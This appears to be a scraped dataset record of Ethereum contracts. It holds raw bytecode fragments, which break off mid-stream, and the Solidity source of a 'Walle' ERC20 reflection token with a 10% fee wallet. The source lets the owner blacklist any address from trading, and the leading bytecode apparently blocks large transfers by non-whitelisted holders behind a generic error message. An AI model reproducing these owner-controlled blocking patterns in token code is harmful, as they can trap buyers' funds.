16040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207d395536f5580526e9fd10cc9b09ad99c7cbe98c7a5279ef7e35de7c9e1d679464736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,949 |
0x415f6adc274c78a3b3541b0a3d3b9f168494b8df
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
"Earth needs saving, let's be the change it needs"
Tg: https://t.me/Walleerc
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Walle is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 300000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Walle";
string private constant _symbol = "Walle";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xC55C84D9B7cC3d73E6Eb26A1e3DC888339C278F0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e34565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061293b565b6104b4565b60405161018e9190612e19565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fd6565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061297b565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128e8565b61060d565b60405161021f9190612e19565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061284e565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b604051610273919061304b565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129c4565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a1e565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061284e565b6109dd565b6040516103199190612fd6565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612d4b565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612e34565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061293b565b610c9e565b6040516103da9190612e19565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a1e565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c91906128a8565b6113c9565b60405161046e9190612fd6565b60405180910390f35b60606040518060400160405280600581526020017f57616c6c65000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611450565b8484611458565b6001905092915050565b6000681043561a8829300000905090565b6104eb611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f16565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613393565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610601906132ec565b91505061057b565b5050565b600061061a848484611623565b6106db84610626611450565b6106d68560405180606001604052806028815260200161375260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611450565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb69092919063ffffffff16565b611458565b600190509392505050565b6106ee611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612f16565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612f16565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612f16565b60405180910390fd5b6000811161093357600080fd5b610962606461095483681043561a8829300000611d1a90919063ffffffff16565b611d9590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611450565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611ddf565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4b565b9050919050565b610a36611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612f16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612f16565b60405180910390fd5b681043561a8829300000600f81905550681043561a8829300000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57616c6c65000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611450565b8484611623565b6001905092915050565b610cc4611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612f16565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83681043561a8829300000611d1a90919063ffffffff16565b611d9590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611450565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611eb9565b50565b610e18611450565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612f16565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612fb6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16681043561a8829300000611458565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061287b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061287b565b6040518363ffffffff1660e01b81526004016110ba929190612d66565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061287b565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612db8565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112149190612a4b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127d606461126f6002681043561a8829300000611d1a90919063ffffffff16565b611d9590919063ffffffff16565b600f819055506112b360646112a56003681043561a8829300000611d1a90919063ffffffff16565b611d9590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611373929190612d8f565b602060405180830381600087803b15801561138d57600080fd5b505af11580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c591906129f1565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf90612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152f90612eb6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116169190612fd6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90612f56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612e56565b60405180910390fd5b60008111611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90612f36565b60405180910390fd5b6000600a81905550600a600b8190555061175e610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117cc575061179c610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118755750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff